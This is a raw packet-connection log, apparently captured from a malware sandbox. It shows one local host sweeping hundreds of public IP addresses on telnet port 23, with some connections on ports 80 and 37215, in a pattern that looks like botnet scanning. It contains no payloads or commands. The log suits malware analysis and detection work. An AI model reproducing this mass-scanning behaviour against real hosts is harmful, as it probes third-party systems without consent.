Jan 5, 2025 14:34:54.806971073 CET	29476	23	192.168.2.13	154.12.34.72
Jan 5, 2025 14:34:54.806973934 CET	29476	23	192.168.2.13	52.19.87.137
Jan 5, 2025 14:34:54.806984901 CET	29476	23	192.168.2.13	14.68.133.167
Jan 5, 2025 14:34:54.806987047 CET	29476	23	192.168.2.13	187.5.240.52
Jan 5, 2025 14:34:54.806997061 CET	29476	23	192.168.2.13	168.75.179.82
Jan 5, 2025 14:34:54.807012081 CET	29476	23	192.168.2.13	24.249.206.155
Jan 5, 2025 14:34:54.807012081 CET	29476	23	192.168.2.13	151.198.181.193
Jan 5, 2025 14:34:54.807014942 CET	29476	23	192.168.2.13	219.135.190.103
Jan 5, 2025 14:34:54.807017088 CET	29476	23	192.168.2.13	62.31.238.62
Jan 5, 2025 14:34:54.807023048 CET	29476	23	192.168.2.13	191.52.201.124
Jan 5, 2025 14:34:54.807030916 CET	29476	23	192.168.2.13	154.141.85.240
Jan 5, 2025 14:34:54.807037115 CET	29476	23	192.168.2.13	113.208.121.113
Jan 5, 2025 14:34:54.807044029 CET	29476	23	192.168.2.13	111.178.66.232
Jan 5, 2025 14:34:54.807044029 CET	29476	23	192.168.2.13	157.235.152.127
Jan 5, 2025 14:34:54.807044029 CET	29476	23	192.168.2.13	217.113.100.52
Jan 5, 2025 14:34:54.807053089 CET	29476	23	192.168.2.13	75.53.176.77
Jan 5, 2025 14:34:54.807053089 CET	29476	23	192.168.2.13	117.83.219.235
Jan 5, 2025 14:34:54.807053089 CET	29476	23	192.168.2.13	88.55.143.106
Jan 5, 2025 14:34:54.807054043 CET	29476	23	192.168.2.13	102.171.135.177
Jan 5, 2025 14:34:54.807053089 CET	29476	23	192.168.2.13	85.61.153.22
Jan 5, 2025 14:34:54.807054996 CET	29476	23	192.168.2.13	188.217.111.206
Jan 5, 2025 14:34:54.807065964 CET	29476	23	192.168.2.13	155.65.211.60
Jan 5, 2025 14:34:54.807075977 CET	29476	23	192.168.2.13	156.25.159.24
Jan 5, 2025 14:34:54.807075977 CET	29476	23	192.168.2.13	159.232.235.128
Jan 5, 2025 14:34:54.807085037 CET	29476	23	192.168.2.13	107.225.89.205
Jan 5, 2025 14:34:54.807087898 CET	29476	23	192.168.2.13	101.16.42.56
Jan 5, 2025 14:34:54.807087898 CET	29476	23	192.168.2.13	140.82.215.69
Jan 5, 2025 14:34:54.807091951 CET	29476	23	192.168.2.13	207.230.32.115
Jan 5, 2025 14:34:54.807094097 CET	29476	23	192.168.2.13	222.144.108.41
Jan 5, 2025 14:34:54.807100058 CET	29476	23	192.168.2.13	71.48.78.23
Jan 5, 2025 14:34:54.807111979 CET	29476	23	192.168.2.13	122.136.239.11
Jan 5, 2025 14:34:54.807125092 CET	29476	23	192.168.2.13	173.152.210.109
Jan 5, 2025 14:34:54.807133913 CET	29476	23	192.168.2.13	170.243.139.229
Jan 5, 2025 14:34:54.807143927 CET	29476	23	192.168.2.13	211.13.206.182
Jan 5, 2025 14:34:54.807145119 CET	29476	23	192.168.2.13	54.47.67.211
Jan 5, 2025 14:34:54.807148933 CET	29476	23	192.168.2.13	217.116.151.105
Jan 5, 2025 14:34:54.807159901 CET	29476	23	192.168.2.13	183.20.148.229
Jan 5, 2025 14:34:54.807171106 CET	29476	23	192.168.2.13	40.217.203.46
Jan 5, 2025 14:34:54.807171106 CET	29476	23	192.168.2.13	67.231.15.14
Jan 5, 2025 14:34:54.807182074 CET	29476	23	192.168.2.13	220.181.44.219
Jan 5, 2025 14:34:54.807183027 CET	29476	23	192.168.2.13	38.25.132.238
Jan 5, 2025 14:34:54.807199955 CET	29476	23	192.168.2.13	79.201.96.146
Jan 5, 2025 14:34:54.807204962 CET	29476	23	192.168.2.13	169.40.195.202
Jan 5, 2025 14:34:54.807204962 CET	29476	23	192.168.2.13	102.23.193.57
Jan 5, 2025 14:34:54.807214022 CET	29476	23	192.168.2.13	217.173.185.197
Jan 5, 2025 14:34:54.807214022 CET	29476	23	192.168.2.13	84.85.230.220
Jan 5, 2025 14:34:54.807224035 CET	29476	23	192.168.2.13	86.5.56.246
Jan 5, 2025 14:34:54.807234049 CET	29476	23	192.168.2.13	204.48.120.99
Jan 5, 2025 14:34:54.807240009 CET	29476	23	192.168.2.13	138.115.254.69
Jan 5, 2025 14:34:54.807248116 CET	29476	23	192.168.2.13	172.109.228.42
Jan 5, 2025 14:34:54.807260990 CET	29476	23	192.168.2.13	72.54.120.126
Jan 5, 2025 14:34:54.807264090 CET	29476	23	192.168.2.13	131.42.58.106
Jan 5, 2025 14:34:54.807277918 CET	29476	23	192.168.2.13	46.165.21.205
Jan 5, 2025 14:34:54.807277918 CET	29476	23	192.168.2.13	140.41.108.227
Jan 5, 2025 14:34:54.807279110 CET	29476	23	192.168.2.13	148.133.194.4
Jan 5, 2025 14:34:54.807295084 CET	29476	23	192.168.2.13	38.11.202.1
Jan 5, 2025 14:34:54.807300091 CET	29476	23	192.168.2.13	160.233.156.100
Jan 5, 2025 14:34:54.807317972 CET	29476	23	192.168.2.13	12.179.5.118
Jan 5, 2025 14:34:54.807318926 CET	29476	23	192.168.2.13	154.253.251.231
Jan 5, 2025 14:34:54.807318926 CET	29476	23	192.168.2.13	93.150.227.100
Jan 5, 2025 14:34:54.807318926 CET	29476	23	192.168.2.13	142.84.229.97
Jan 5, 2025 14:34:54.807329893 CET	29476	23	192.168.2.13	24.77.224.154
Jan 5, 2025 14:34:54.807332039 CET	29476	23	192.168.2.13	146.60.53.114
Jan 5, 2025 14:34:54.807332039 CET	29476	23	192.168.2.13	216.180.2.32
Jan 5, 2025 14:34:54.807333946 CET	29476	23	192.168.2.13	163.106.179.181
Jan 5, 2025 14:34:54.807343960 CET	29476	23	192.168.2.13	118.205.43.94
Jan 5, 2025 14:34:54.807356119 CET	29476	23	192.168.2.13	134.129.209.164
Jan 5, 2025 14:34:54.807363033 CET	29476	23	192.168.2.13	43.188.31.86
Jan 5, 2025 14:34:54.807377100 CET	29476	23	192.168.2.13	81.208.7.78
Jan 5, 2025 14:34:54.807389975 CET	29476	23	192.168.2.13	196.2.124.188
Jan 5, 2025 14:34:54.807389975 CET	29476	23	192.168.2.13	64.104.237.207
Jan 5, 2025 14:34:54.807395935 CET	29476	23	192.168.2.13	186.56.146.17
Jan 5, 2025 14:34:54.807413101 CET	29476	23	192.168.2.13	96.229.150.30
Jan 5, 2025 14:34:54.807419062 CET	29476	23	192.168.2.13	195.163.26.212
Jan 5, 2025 14:34:54.807430983 CET	29476	23	192.168.2.13	220.41.104.46
Jan 5, 2025 14:34:54.807430983 CET	29476	23	192.168.2.13	114.186.44.19
Jan 5, 2025 14:34:54.807447910 CET	29476	23	192.168.2.13	163.75.176.52
Jan 5, 2025 14:34:54.807455063 CET	29476	23	192.168.2.13	200.107.214.20
Jan 5, 2025 14:34:54.807466030 CET	29476	23	192.168.2.13	158.213.9.169
Jan 5, 2025 14:34:54.807498932 CET	29476	23	192.168.2.13	50.62.143.44
Jan 5, 2025 14:34:54.807498932 CET	29476	23	192.168.2.13	190.227.133.29
Jan 5, 2025 14:34:54.807498932 CET	29476	23	192.168.2.13	120.95.6.131
Jan 5, 2025 14:34:54.807498932 CET	29476	23	192.168.2.13	23.102.125.113
Jan 5, 2025 14:34:54.807501078 CET	29476	23	192.168.2.13	88.114.53.125
Jan 5, 2025 14:34:54.807501078 CET	29476	23	192.168.2.13	146.89.57.119
Jan 5, 2025 14:34:54.807502031 CET	29476	23	192.168.2.13	75.37.242.255
Jan 5, 2025 14:34:54.807502031 CET	29476	23	192.168.2.13	152.197.85.39
Jan 5, 2025 14:34:54.807507038 CET	29476	23	192.168.2.13	130.249.112.24
Jan 5, 2025 14:34:54.807507992 CET	29476	23	192.168.2.13	57.220.143.58
Jan 5, 2025 14:34:54.807507992 CET	29476	23	192.168.2.13	54.118.146.230
Jan 5, 2025 14:34:54.807507992 CET	29476	23	192.168.2.13	106.199.83.214
Jan 5, 2025 14:34:54.807508945 CET	29476	23	192.168.2.13	139.32.159.7
Jan 5, 2025 14:34:54.807509899 CET	29476	23	192.168.2.13	96.45.41.213
Jan 5, 2025 14:34:54.807528973 CET	29476	23	192.168.2.13	32.76.95.94
Jan 5, 2025 14:34:54.807528973 CET	29476	23	192.168.2.13	148.53.169.195
Jan 5, 2025 14:34:54.807533026 CET	29476	23	192.168.2.13	187.29.168.180
Jan 5, 2025 14:34:54.807542086 CET	29476	23	192.168.2.13	199.134.60.219
Jan 5, 2025 14:34:54.807553053 CET	29476	23	192.168.2.13	208.202.250.90
Jan 5, 2025 14:34:54.807554007 CET	29476	23	192.168.2.13	25.179.104.34
Jan 5, 2025 14:34:54.807554007 CET	29476	23	192.168.2.13	169.251.9.176
Jan 5, 2025 14:34:54.807560921 CET	29476	23	192.168.2.13	220.125.9.40
Jan 5, 2025 14:34:54.807566881 CET	29476	23	192.168.2.13	75.66.170.163
Jan 5, 2025 14:34:54.807579041 CET	29476	23	192.168.2.13	203.220.242.120
Jan 5, 2025 14:34:54.807593107 CET	29476	23	192.168.2.13	201.165.25.220
Jan 5, 2025 14:34:54.807595968 CET	29476	23	192.168.2.13	57.252.20.156
Jan 5, 2025 14:34:54.807605028 CET	29476	23	192.168.2.13	35.228.238.26
Jan 5, 2025 14:34:54.807607889 CET	29476	23	192.168.2.13	50.151.114.146
Jan 5, 2025 14:34:54.807610989 CET	29476	23	192.168.2.13	132.86.165.112
Jan 5, 2025 14:34:54.807610989 CET	29476	23	192.168.2.13	71.122.47.238
Jan 5, 2025 14:34:54.807615995 CET	29476	23	192.168.2.13	97.148.177.129
Jan 5, 2025 14:34:54.807626963 CET	29476	23	192.168.2.13	182.223.4.223
Jan 5, 2025 14:34:54.807630062 CET	29476	23	192.168.2.13	172.254.12.128
Jan 5, 2025 14:34:54.807632923 CET	29476	23	192.168.2.13	74.146.97.13
Jan 5, 2025 14:34:54.807635069 CET	29476	23	192.168.2.13	85.30.113.88
Jan 5, 2025 14:34:54.807637930 CET	29476	23	192.168.2.13	188.117.227.240
Jan 5, 2025 14:34:54.807643890 CET	29476	23	192.168.2.13	159.171.9.86
Jan 5, 2025 14:34:54.807656050 CET	29476	23	192.168.2.13	140.218.77.206
Jan 5, 2025 14:34:54.807661057 CET	29476	23	192.168.2.13	130.20.21.232
Jan 5, 2025 14:34:54.807672024 CET	29476	23	192.168.2.13	82.251.18.35
Jan 5, 2025 14:34:54.807673931 CET	29476	23	192.168.2.13	196.135.21.174
Jan 5, 2025 14:34:54.807684898 CET	29476	23	192.168.2.13	62.126.166.99
Jan 5, 2025 14:34:54.807687998 CET	29476	23	192.168.2.13	199.225.196.182
Jan 5, 2025 14:34:54.807698965 CET	29476	23	192.168.2.13	211.138.155.106
Jan 5, 2025 14:34:54.807708979 CET	29476	23	192.168.2.13	153.157.27.160
Jan 5, 2025 14:34:54.807708979 CET	29476	23	192.168.2.13	191.72.250.35
Jan 5, 2025 14:34:54.807723045 CET	29476	23	192.168.2.13	104.179.146.200
Jan 5, 2025 14:34:54.807724953 CET	29476	23	192.168.2.13	122.245.234.160
Jan 5, 2025 14:34:54.807743073 CET	29476	23	192.168.2.13	75.81.242.233
Jan 5, 2025 14:34:54.807744026 CET	29476	23	192.168.2.13	76.237.124.104
Jan 5, 2025 14:34:54.807744026 CET	29476	23	192.168.2.13	152.152.100.89
Jan 5, 2025 14:34:54.807761908 CET	29476	23	192.168.2.13	111.13.183.15
Jan 5, 2025 14:34:54.807764053 CET	29476	23	192.168.2.13	59.248.158.203
Jan 5, 2025 14:34:54.807774067 CET	29476	23	192.168.2.13	36.72.117.66
Jan 5, 2025 14:34:54.807775021 CET	29476	23	192.168.2.13	73.94.74.208
Jan 5, 2025 14:34:54.807775021 CET	29476	23	192.168.2.13	211.247.118.58
Jan 5, 2025 14:34:54.807785988 CET	29476	23	192.168.2.13	114.6.38.29
Jan 5, 2025 14:34:54.807785988 CET	29476	23	192.168.2.13	17.116.192.23
Jan 5, 2025 14:34:54.807800055 CET	29476	23	192.168.2.13	167.241.64.64
Jan 5, 2025 14:34:54.807800055 CET	29476	23	192.168.2.13	25.209.2.224
Jan 5, 2025 14:34:54.807818890 CET	29476	23	192.168.2.13	65.88.161.9
Jan 5, 2025 14:34:54.807821989 CET	29476	23	192.168.2.13	109.173.118.185
Jan 5, 2025 14:34:54.807835102 CET	29476	23	192.168.2.13	1.29.134.174
Jan 5, 2025 14:34:54.807835102 CET	29476	23	192.168.2.13	167.39.63.188
Jan 5, 2025 14:34:54.807842970 CET	29476	23	192.168.2.13	208.47.104.190
Jan 5, 2025 14:34:54.807847023 CET	29476	23	192.168.2.13	47.245.142.60
Jan 5, 2025 14:34:54.807859898 CET	29476	23	192.168.2.13	48.166.155.33
Jan 5, 2025 14:34:54.807859898 CET	29476	23	192.168.2.13	115.105.53.92
Jan 5, 2025 14:34:54.807873964 CET	29476	23	192.168.2.13	43.182.123.238
Jan 5, 2025 14:34:54.807874918 CET	29476	23	192.168.2.13	132.94.23.136
Jan 5, 2025 14:34:54.807876110 CET	29476	23	192.168.2.13	179.99.123.192
Jan 5, 2025 14:34:54.807888985 CET	29476	23	192.168.2.13	145.225.110.51
Jan 5, 2025 14:34:54.807905912 CET	29476	23	192.168.2.13	211.111.240.201
Jan 5, 2025 14:34:54.807919979 CET	29476	23	192.168.2.13	60.14.184.62
Jan 5, 2025 14:34:54.807941914 CET	29476	23	192.168.2.13	139.222.16.113
Jan 5, 2025 14:34:54.807943106 CET	29476	23	192.168.2.13	51.16.100.42
Jan 5, 2025 14:34:54.807944059 CET	29476	23	192.168.2.13	202.110.20.137
Jan 5, 2025 14:34:54.807944059 CET	29476	23	192.168.2.13	146.22.126.0
Jan 5, 2025 14:34:54.807946920 CET	29476	23	192.168.2.13	71.167.195.128
Jan 5, 2025 14:34:54.807946920 CET	29476	23	192.168.2.13	73.55.80.203
Jan 5, 2025 14:34:54.807949066 CET	29476	23	192.168.2.13	131.132.246.137
Jan 5, 2025 14:34:54.807962894 CET	29476	23	192.168.2.13	155.232.80.99
Jan 5, 2025 14:34:54.807971001 CET	29476	23	192.168.2.13	70.55.218.11
Jan 5, 2025 14:34:54.807971001 CET	29476	23	192.168.2.13	64.231.86.45
Jan 5, 2025 14:34:54.807976961 CET	29476	23	192.168.2.13	60.81.155.216
Jan 5, 2025 14:34:54.807980061 CET	29476	23	192.168.2.13	80.65.137.103
Jan 5, 2025 14:34:54.807980061 CET	29476	23	192.168.2.13	94.63.253.114
Jan 5, 2025 14:34:54.807980061 CET	29476	23	192.168.2.13	209.249.165.30
Jan 5, 2025 14:34:54.807980061 CET	29476	23	192.168.2.13	18.76.187.124
Jan 5, 2025 14:34:54.807991982 CET	29476	23	192.168.2.13	219.145.116.171
Jan 5, 2025 14:34:54.808001995 CET	29476	23	192.168.2.13	105.27.137.57
Jan 5, 2025 14:34:54.808006048 CET	29476	23	192.168.2.13	221.85.146.150
Jan 5, 2025 14:34:54.808006048 CET	29476	23	192.168.2.13	216.95.176.17
Jan 5, 2025 14:34:54.808017969 CET	29476	23	192.168.2.13	218.226.20.120
Jan 5, 2025 14:34:54.808031082 CET	29476	23	192.168.2.13	104.25.78.26
Jan 5, 2025 14:34:54.808037043 CET	29476	23	192.168.2.13	193.243.193.218
Jan 5, 2025 14:34:54.808037043 CET	29476	23	192.168.2.13	159.93.107.59
Jan 5, 2025 14:34:54.808044910 CET	29476	23	192.168.2.13	20.143.111.217
Jan 5, 2025 14:34:54.808051109 CET	29476	23	192.168.2.13	107.116.251.176
Jan 5, 2025 14:34:54.808053970 CET	29476	23	192.168.2.13	181.110.142.96
Jan 5, 2025 14:34:54.808062077 CET	29476	23	192.168.2.13	52.191.248.48
Jan 5, 2025 14:34:54.808070898 CET	29476	23	192.168.2.13	133.205.122.4
Jan 5, 2025 14:34:54.808073997 CET	29476	23	192.168.2.13	141.136.64.244
Jan 5, 2025 14:34:54.808075905 CET	29476	23	192.168.2.13	43.187.6.166
Jan 5, 2025 14:34:54.808084965 CET	29476	23	192.168.2.13	116.93.87.243
Jan 5, 2025 14:34:54.808089972 CET	29476	23	192.168.2.13	152.188.10.81
Jan 5, 2025 14:34:54.808095932 CET	29476	23	192.168.2.13	128.58.199.163
Jan 5, 2025 14:34:54.808099985 CET	29476	23	192.168.2.13	99.71.137.6
Jan 5, 2025 14:34:54.808104038 CET	29476	23	192.168.2.13	207.186.199.224
Jan 5, 2025 14:34:54.808104992 CET	29476	23	192.168.2.13	25.53.197.64
Jan 5, 2025 14:34:54.808104992 CET	29476	23	192.168.2.13	60.113.217.176
Jan 5, 2025 14:34:54.808108091 CET	29476	23	192.168.2.13	195.97.6.251
Jan 5, 2025 14:34:54.808108091 CET	29476	23	192.168.2.13	68.25.35.254
Jan 5, 2025 14:34:54.808237076 CET	59722	80	192.168.2.13	157.253.86.180
Jan 5, 2025 14:34:54.808258057 CET	56082	80	192.168.2.13	122.134.154.13
Jan 5, 2025 14:34:54.808268070 CET	34942	80	192.168.2.13	105.76.238.137
Jan 5, 2025 14:34:54.808278084 CET	49268	80	192.168.2.13	60.208.214.47
Jan 5, 2025 14:34:54.808278084 CET	40742	80	192.168.2.13	166.131.190.80
Jan 5, 2025 14:34:54.808294058 CET	52534	80	192.168.2.13	183.180.216.81
Jan 5, 2025 14:34:54.808408976 CET	43350	80	192.168.2.13	2.208.165.87
Jan 5, 2025 14:34:54.808409929 CET	41724	80	192.168.2.13	70.180.28.131
Jan 5, 2025 14:34:54.810988903 CET	23	29476	48.5.203.252	192.168.2.13
Jan 5, 2025 14:34:54.811000109 CET	23	29476	194.25.47.44	192.168.2.13
Jan 5, 2025 14:34:54.811008930 CET	23	29476	114.8.40.27	192.168.2.13
Jan 5, 2025 14:34:54.811041117 CET	29476	23	192.168.2.13	194.25.47.44
Jan 5, 2025 14:34:54.811041117 CET	29476	23	192.168.2.13	48.5.203.252
Jan 5, 2025 14:34:54.811057091 CET	29476	23	192.168.2.13	114.8.40.27
Jan 5, 2025 14:34:54.811077118 CET	23	29476	172.102.221.40	192.168.2.13
Jan 5, 2025 14:34:54.811086893 CET	23	29476	148.78.121.44	192.168.2.13
Jan 5, 2025 14:34:54.811094999 CET	23	29476	158.26.74.51	192.168.2.13
Jan 5, 2025 14:34:54.811105013 CET	23	29476	163.77.213.202	192.168.2.13
Jan 5, 2025 14:34:54.811115026 CET	23	29476	36.215.1.110	192.168.2.13
Jan 5, 2025 14:34:54.811119080 CET	29476	23	192.168.2.13	172.102.221.40
Jan 5, 2025 14:34:54.811120033 CET	29476	23	192.168.2.13	148.78.121.44
Jan 5, 2025 14:34:54.811125040 CET	23	29476	144.236.219.192	192.168.2.13
Jan 5, 2025 14:34:54.811134100 CET	29476	23	192.168.2.13	158.26.74.51
Jan 5, 2025 14:34:54.811134100 CET	29476	23	192.168.2.13	163.77.213.202
Jan 5, 2025 14:34:54.811135054 CET	23	29476	168.250.73.115	192.168.2.13
Jan 5, 2025 14:34:54.811144114 CET	29476	23	192.168.2.13	36.215.1.110
Jan 5, 2025 14:34:54.811150074 CET	29476	23	192.168.2.13	144.236.219.192
Jan 5, 2025 14:34:54.811151981 CET	23	29476	112.203.68.103	192.168.2.13
Jan 5, 2025 14:34:54.811162949 CET	23	29476	126.40.86.173	192.168.2.13
Jan 5, 2025 14:34:54.811167002 CET	29476	23	192.168.2.13	168.250.73.115
Jan 5, 2025 14:34:54.811172009 CET	23	29476	156.132.166.30	192.168.2.13
Jan 5, 2025 14:34:54.811181068 CET	23	29476	88.220.50.7	192.168.2.13
Jan 5, 2025 14:34:54.811191082 CET	23	29476	2.52.163.3	192.168.2.13
Jan 5, 2025 14:34:54.811193943 CET	29476	23	192.168.2.13	112.203.68.103
Jan 5, 2025 14:34:54.811194897 CET	29476	23	192.168.2.13	126.40.86.173
Jan 5, 2025 14:34:54.811199903 CET	23	29476	54.117.45.253	192.168.2.13
Jan 5, 2025 14:34:54.811199903 CET	29476	23	192.168.2.13	156.132.166.30
Jan 5, 2025 14:34:54.811211109 CET	29476	23	192.168.2.13	2.52.163.3
Jan 5, 2025 14:34:54.811213017 CET	23	29476	104.149.142.81	192.168.2.13
Jan 5, 2025 14:34:54.811214924 CET	29476	23	192.168.2.13	88.220.50.7
Jan 5, 2025 14:34:54.811227083 CET	23	29476	76.206.41.163	192.168.2.13
Jan 5, 2025 14:34:54.811237097 CET	37215	37608	41.172.233.144	192.168.2.13
Jan 5, 2025 14:34:54.811245918 CET	23	29476	98.6.85.60	192.168.2.13
Jan 5, 2025 14:34:54.811249018 CET	29476	23	192.168.2.13	104.149.142.81
Jan 5, 2025 14:34:54.811250925 CET	29476	23	192.168.2.13	54.117.45.253
Jan 5, 2025 14:34:54.811254978 CET	23	29476	185.67.107.191	192.168.2.13
Jan 5, 2025 14:34:54.811260939 CET	29476	23	192.168.2.13	76.206.41.163
Jan 5, 2025 14:34:54.811260939 CET	37608	37215	192.168.2.13	41.172.233.144
Jan 5, 2025 14:34:54.811264992 CET	23	29476	187.165.255.193	192.168.2.13
Jan 5, 2025 14:34:54.811274052 CET	23	29476	120.21.220.176	192.168.2.13
Jan 5, 2025 14:34:54.811278105 CET	29476	23	192.168.2.13	98.6.85.60
Jan 5, 2025 14:34:54.811284065 CET	23	29476	134.200.47.25	192.168.2.13
Jan 5, 2025 14:34:54.811286926 CET	29476	23	192.168.2.13	185.67.107.191
Jan 5, 2025 14:34:54.811289072 CET	29476	23	192.168.2.13	187.165.255.193
Jan 5, 2025 14:34:54.811292887 CET	23	29476	9.39.60.216	192.168.2.13
Jan 5, 2025 14:34:54.811302900 CET	23	29476	122.88.49.87	192.168.2.13
Jan 5, 2025 14:34:54.811307907 CET	29476	23	192.168.2.13	120.21.220.176
Jan 5, 2025 14:34:54.811311007 CET	23	29476	203.136.232.133	192.168.2.13
Jan 5, 2025 14:34:54.811320066 CET	29476	23	192.168.2.13	134.200.47.25
Jan 5, 2025 14:34:54.811320066 CET	29476	23	192.168.2.13	9.39.60.216
Jan 5, 2025 14:34:54.811326981 CET	29476	23	192.168.2.13	122.88.49.87
Jan 5, 2025 14:34:54.811357975 CET	29476	23	192.168.2.13	203.136.232.133
Jan 5, 2025 14:34:54.811505079 CET	23	29476	83.89.210.103	192.168.2.13
Jan 5, 2025 14:34:54.811517000 CET	23	29476	107.106.165.84	192.168.2.13
Jan 5, 2025 14:34:54.811526060 CET	23	29476	65.134.240.30	192.168.2.13
Jan 5, 2025 14:34:54.811534882 CET	23	29476	23.68.45.153	192.168.2.13
Jan 5, 2025 14:34:54.811544895 CET	23	29476	38.186.144.47	192.168.2.13
Jan 5, 2025 14:34:54.811546087 CET	29476	23	192.168.2.13	83.89.210.103
Jan 5, 2025 14:34:54.811558008 CET	29476	23	192.168.2.13	107.106.165.84
Jan 5, 2025 14:34:54.811558962 CET	29476	23	192.168.2.13	23.68.45.153
Jan 5, 2025 14:34:54.811559916 CET	23	29476	124.248.58.143	192.168.2.13
Jan 5, 2025 14:34:54.811563015 CET	29476	23	192.168.2.13	65.134.240.30
Jan 5, 2025 14:34:54.811568022 CET	29476	23	192.168.2.13	38.186.144.47
Jan 5, 2025 14:34:54.811569929 CET	23	29476	95.60.77.152	192.168.2.13
Jan 5, 2025 14:34:54.811580896 CET	23	29476	45.147.201.199	192.168.2.13
Jan 5, 2025 14:34:54.811589956 CET	23	29476	12.131.215.195	192.168.2.13
Jan 5, 2025 14:34:54.811598063 CET	29476	23	192.168.2.13	124.248.58.143
Jan 5, 2025 14:34:54.811599970 CET	23	29476	168.23.181.148	192.168.2.13
Jan 5, 2025 14:34:54.811600924 CET	29476	23	192.168.2.13	95.60.77.152
Jan 5, 2025 14:34:54.811609983 CET	23	29476	206.72.34.160	192.168.2.13
Jan 5, 2025 14:34:54.811613083 CET	29476	23	192.168.2.13	45.147.201.199
Jan 5, 2025 14:34:54.811630964 CET	23	29476	23.102.79.84	192.168.2.13
Jan 5, 2025 14:34:54.811635971 CET	29476	23	192.168.2.13	168.23.181.148
Jan 5, 2025 14:34:54.811650038 CET	29476	23	192.168.2.13	206.72.34.160
Jan 5, 2025 14:34:54.811650038 CET	29476	23	192.168.2.13	12.131.215.195
Jan 5, 2025 14:34:54.811650991 CET	23	29476	182.170.24.14	192.168.2.13
Jan 5, 2025 14:34:54.811661959 CET	23	29476	139.178.127.252	192.168.2.13
Jan 5, 2025 14:34:54.811666965 CET	29476	23	192.168.2.13	23.102.79.84
Jan 5, 2025 14:34:54.811671972 CET	23	29476	192.232.13.144	192.168.2.13
Jan 5, 2025 14:34:54.811682940 CET	23	29476	124.35.71.130	192.168.2.13
Jan 5, 2025 14:34:54.811687946 CET	29476	23	192.168.2.13	182.170.24.14
Jan 5, 2025 14:34:54.811692953 CET	23	29476	174.6.174.102	192.168.2.13
Jan 5, 2025 14:34:54.811702013 CET	29476	23	192.168.2.13	139.178.127.252
Jan 5, 2025 14:34:54.811702013 CET	29476	23	192.168.2.13	192.232.13.144
Jan 5, 2025 14:34:54.811702967 CET	23	29476	149.250.163.1	192.168.2.13
Jan 5, 2025 14:34:54.811712027 CET	29476	23	192.168.2.13	124.35.71.130
Jan 5, 2025 14:34:54.811713934 CET	23	29476	137.130.37.159	192.168.2.13
Jan 5, 2025 14:34:54.811723948 CET	23	29476	213.213.241.213	192.168.2.13
Jan 5, 2025 14:34:54.811729908 CET	29476	23	192.168.2.13	149.250.163.1
Jan 5, 2025 14:34:54.811733007 CET	23	29476	86.51.38.58	192.168.2.13
Jan 5, 2025 14:34:54.811748028 CET	37215	44464	41.200.188.11	192.168.2.13
Jan 5, 2025 14:34:54.811752081 CET	29476	23	192.168.2.13	174.6.174.102
Jan 5, 2025 14:34:54.811753035 CET	29476	23	192.168.2.13	213.213.241.213
Jan 5, 2025 14:34:54.811753035 CET	29476	23	192.168.2.13	137.130.37.159
Jan 5, 2025 14:34:54.811757088 CET	23	29476	18.211.9.51	192.168.2.13
Jan 5, 2025 14:34:54.811767101 CET	23	29476	197.7.157.129	192.168.2.13
Jan 5, 2025 14:34:54.811777115 CET	23	29476	161.194.210.100	192.168.2.13
Jan 5, 2025 14:34:54.811779022 CET	29476	23	192.168.2.13	86.51.38.58
Jan 5, 2025 14:34:54.811786890 CET	23	29476	171.239.80.177	192.168.2.13
Jan 5, 2025 14:34:54.811794043 CET	44464	37215	192.168.2.13	41.200.188.11
Jan 5, 2025 14:34:54.811794043 CET	29476	23	192.168.2.13	18.211.9.51
Jan 5, 2025 14:34:54.811794043 CET	29476	23	192.168.2.13	197.7.157.129
Jan 5, 2025 14:34:54.811796904 CET	23	29476	130.84.35.200	192.168.2.13
Jan 5, 2025 14:34:54.811805964 CET	23	29476	89.213.95.104	192.168.2.13
Jan 5, 2025 14:34:54.811815023 CET	23	29476	95.17.196.205	192.168.2.13
Jan 5, 2025 14:34:54.811816931 CET	29476	23	192.168.2.13	171.239.80.177
Jan 5, 2025 14:34:54.811825037 CET	23	29476	105.17.73.177	192.168.2.13
Jan 5, 2025 14:34:54.811825037 CET	29476	23	192.168.2.13	161.194.210.100
Jan 5, 2025 14:34:54.811825037 CET	29476	23	192.168.2.13	130.84.35.200
Jan 5, 2025 14:34:54.811835051 CET	23	29476	57.112.145.174	192.168.2.13
Jan 5, 2025 14:34:54.811836958 CET	29476	23	192.168.2.13	89.213.95.104
Jan 5, 2025 14:34:54.811837912 CET	29476	23	192.168.2.13	95.17.196.205
Jan 5, 2025 14:34:54.811845064 CET	23	29476	182.22.136.139	192.168.2.13
Jan 5, 2025 14:34:54.811853886 CET	23	29476	80.101.123.90	192.168.2.13
Jan 5, 2025 14:34:54.811855078 CET	29476	23	192.168.2.13	105.17.73.177
Jan 5, 2025 14:34:54.811863899 CET	37215	59588	156.195.230.243	192.168.2.13
Jan 5, 2025 14:34:54.811868906 CET	29476	23	192.168.2.13	57.112.145.174
Jan 5, 2025 14:34:54.811888933 CET	29476	23	192.168.2.13	182.22.136.139
Jan 5, 2025 14:34:54.811891079 CET	29476	23	192.168.2.13	80.101.123.90
Jan 5, 2025 14:34:54.811892986 CET	59588	37215	192.168.2.13	156.195.230.243
Jan 5, 2025 14:34:54.812364101 CET	37215	49018	197.125.8.61	192.168.2.13
Jan 5, 2025 14:34:54.812400103 CET	49018	37215	192.168.2.13	197.125.8.61
Jan 5, 2025 14:34:54.813010931 CET	80	59722	157.253.86.180	192.168.2.13
Jan 5, 2025 14:34:54.813044071 CET	59722	80	192.168.2.13	157.253.86.180
Jan 5, 2025 14:34:54.813137054 CET	80	56082	122.134.154.13	192.168.2.13
Jan 5, 2025 14:34:54.813146114 CET	80	34942	105.76.238.137	192.168.2.13
Jan 5, 2025 14:34:54.813153982 CET	80	49268	60.208.214.47	192.168.2.13
Jan 5, 2025 14:34:54.813163996 CET	80	40742	166.131.190.80	192.168.2.13
Jan 5, 2025 14:34:54.813174009 CET	80	52534	183.180.216.81	192.168.2.13
Jan 5, 2025 14:34:54.813177109 CET	56082	80	192.168.2.13	122.134.154.13
Jan 5, 2025 14:34:54.813177109 CET	34942	80	192.168.2.13	105.76.238.137
Jan 5, 2025 14:34:54.813194036 CET	49268	80	192.168.2.13	60.208.214.47
Jan 5, 2025 14:34:54.813194036 CET	40742	80	192.168.2.13	166.131.190.80
Jan 5, 2025 14:34:54.813205957 CET	52534	80	192.168.2.13	183.180.216.81
Jan 5, 2025 14:34:54.813294888 CET	80	43350	2.208.165.87	192.168.2.13
Jan 5, 2025 14:34:54.813303947 CET	80	41724	70.180.28.131	192.168.2.13
Jan 5, 2025 14:34:54.813332081 CET	43350	80	192.168.2.13	2.208.165.87
Jan 5, 2025 14:34:54.813342094 CET	41724	80	192.168.2.13	70.180.28.131
